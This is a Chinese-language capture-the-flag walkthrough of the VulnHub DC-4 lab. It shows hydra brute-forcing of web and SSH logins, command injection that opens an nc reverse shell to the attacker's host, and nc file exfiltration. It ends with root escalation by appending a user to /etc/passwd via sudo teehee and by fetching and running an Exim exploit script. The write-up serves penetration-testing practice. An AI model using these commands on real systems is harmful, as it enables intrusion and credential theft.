vulnhub靶场DC-4通关记录

靶场描述

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

渗透靶场

一、信息搜集

首先给靶机开启NAT桥接模式 在攻击机中使用nmap扫描靶机ip

nmap 192.168.160.0/24

image-20231204151608787

找打靶机ip

192.168.160.155

再进一步扫一下端口

nmap -A -p- -v 192.168.160.155

image-20231204151733892

开放了80端口 存在web服务 使用nginx中间件 版本1.15.10

开放了22端口 存在ssh服务 Openss版本7.4p1

在使用whatweb进行CMS识别 搜集一波信息

image-20231204152115668

在使用dirsearch扫一波目录

image-20231204164145053

二、访问web站点

image-20231204152149183

爆破网站登陆密码

使用bp或者hydra爆破都可以

hydra -l admin -P /home/kali/Desktop/brutehash/rockyou.txt 192.168.160.155 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
-l 用户名
-L 用户名字典
-p 密码
-P 密码字典
http-post-form 使用http协议下的post方法进行破解
"/login.php:username=^USER^&password=^PASS^:S=logout":
1."/"指登陆页面所在目录 该网站的登陆目录在index.php 
2.POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换

image-20231204171144220

密码是happy

bp爆破就用本机访问一下 抓个包 找几个字典 一秒爆出来了

image-20231204171250442

使用username:admin/password:happy登陆

image-20231204171902074

看起来有一个任意命令执行

image-20231204173657999

执行了ls -l

image-20231204173842427

执行了du -h

image-20231204173857621

执行了df -h

抓个包看看

image-20231204173927523

真是执行了ls -l 同时也看到这里空格是使用+表示的 那我们可以利用这一点反弹shell了

三、反弹shell

先开一个终端 监听一下端口

nc -lvvp 1145

image-20231204202758687

再在bp上写入反弹shell的命令

nc 192.168.160.131 4444 -e /bin/bash
在这个环境中 空格要使用+代替
nc+192.168.160.131+4444+-e+/bin/bash

image-20231204205554477

这边这个ip一定要写攻击机的

image-20231204205638442

反弹成功

在用python创造一个交互式的shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20231204205905844

找到并提取密码文件

在home文件夹下查看用户 找到三个用户

charles jim sam

/home/jim/backups下找到一个old-passwords.bak 查看内容 看起来很像字典 使用nc将这个文件保存到本机

现在攻击机下监听一个端口 指定接受一个文件

nc -lvvp 5555 > old-passwords.bak

再在shell里面监听相同的端口 指定发送上面的密码文件

nc 192.168.160.131 5555 < old-passwords.bak

image-20231204211415921

接收到了

四、登陆用户

使用hydra爆破jim用户密码

可以使用这个字典文件爆破jim用户的密码 还是使用hydra

hydra -l jim -P old-passwords.bak ssh://192.168.160.155

image-20231204211835368

爆破出密码为``

登陆jim用户 发现charles用户密码

使用刚才爆出来的jim用户密码进行登陆

image-20231205110555449

使用ssh也可以进行连接

ssh jim@192.168.160.155

image-20231205112534390

提示有一封邮件

/var/mail文件夹下找到邮件

image-20231205114140559

这是一封charles发给jim的邮件 从中可以得到charles的登录密码为^xHhA&hvim0y

五、提权

使用teehee进行提权

使用上面得到的密码 切换到charles用户后 查看这个用户有什么可以使用的root命令

sudo -l

image-20231205115337768

发现可以无密码使用teehee

先看一下用法

teehee -h

image-20231205141537541

-a参数允许往一个文件中追加内容

1./etc/passwd

我们可以利用这一点 向/etc/passwd文件中追加一个新的超级用户

先用openssl生成一个加盐的密码

openssl passwd -1 -salt 1*2*3 abcd

# $1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1

使用teehee创建超级用户

echo 'abc:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1:0:0:root:/bin/bash' |sudo teehee -a /etc/passwd

登录abc用户 输入密码abcd 成功登录 是root权限

image-20231205142608726

2./etc/sudoers

相同的 我们也可以添加一个超级用户到/etc/sudoers

image-20231205152634690

我们可以使用teehee在/etc/sudoers文件后追加

charles    ALL=(root) ALL

输入

echo 'charles    ALL=(root) ALL' |sudo teehee -a /etc/sudoers

在使用vi提权

vi privilege.txt
输入charles用户密码
:!/bin/bash

在输入

sudo -l

image-20231205153826818

exim4(suid)提权

首先查看charles用户可以使用suid提权的命令

find / -type f -perm -u=s 2>dev/null

image-20231205155804351

其中exim4是可以进行提权的

但是不知道为啥charles用户用不了这个命令 那我们还回到最初的www-data用户

exim4 --version

image-20231205160605193

1.查找漏洞利用脚本
searchsploit exim 4

找到好几个都可以使用的提权脚本

image-20231205161805143

选择第一个46996.sh

2.利用脚本

找到脚本的路径

searchsploit -p 46996.sh

image-20231205161924515

将脚本复制到桌面

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh 

开启apache服务

systemctl start apache2.service

将这个漏洞攻击文件转移到/var/html/www文件夹下

mv 46996.sh /var/www/html 

将文件下载到靶机/tmp

wget http://192.168.160.150/46996.sh

image-20231205163009242

看到此时用户对46996.sh并没有执行权限

image-20231205163148657

赋予执行权限

chmod +x 46996.sh

执行脚本 发现得到root权限

image-20231205163319129

进入到root文件夹下 得到flag

888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

image-20231205142713009

总结

至此,DC-4靶机打完

补充

kali中nc实现通信、传输文件、反弹shell、python等脚本反弹shell